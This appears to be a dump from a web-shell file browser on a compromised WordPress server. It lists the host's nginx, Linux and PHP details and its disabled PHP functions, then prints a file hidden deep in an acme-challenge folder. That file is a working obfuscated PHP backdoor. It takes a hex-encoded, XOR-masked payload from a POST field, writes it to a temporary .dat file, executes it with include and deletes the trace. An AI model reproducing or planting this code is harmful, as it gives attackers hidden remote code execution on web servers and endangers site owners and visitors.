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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/d/a/h/b/
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/d/a/h/b/php51x.php
<?php

if(array_key_exists("\x6D\x72k", $_POST) && !is_null($_POST["\x6D\x72k"])){
	$comp = hex2bin($_POST["\x6D\x72k"]);
	$pgrp ='';$z = 0; do{$pgrp .= chr(ord($comp[$z]) ^ 15);$z++;} while($z < strlen($comp));
	$rec = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp"]);
	foreach ($rec as $sym) {
    		if (is_dir($sym) ? is_writable($sym) : false) {
    $parameter_group = vsprintf("%s/%s", [$sym, ".dat"]);
    if (@file_put_contents($parameter_group, $pgrp) !== false) {
	include $parameter_group;
	unlink($parameter_group);
	die();
}
}
}
}
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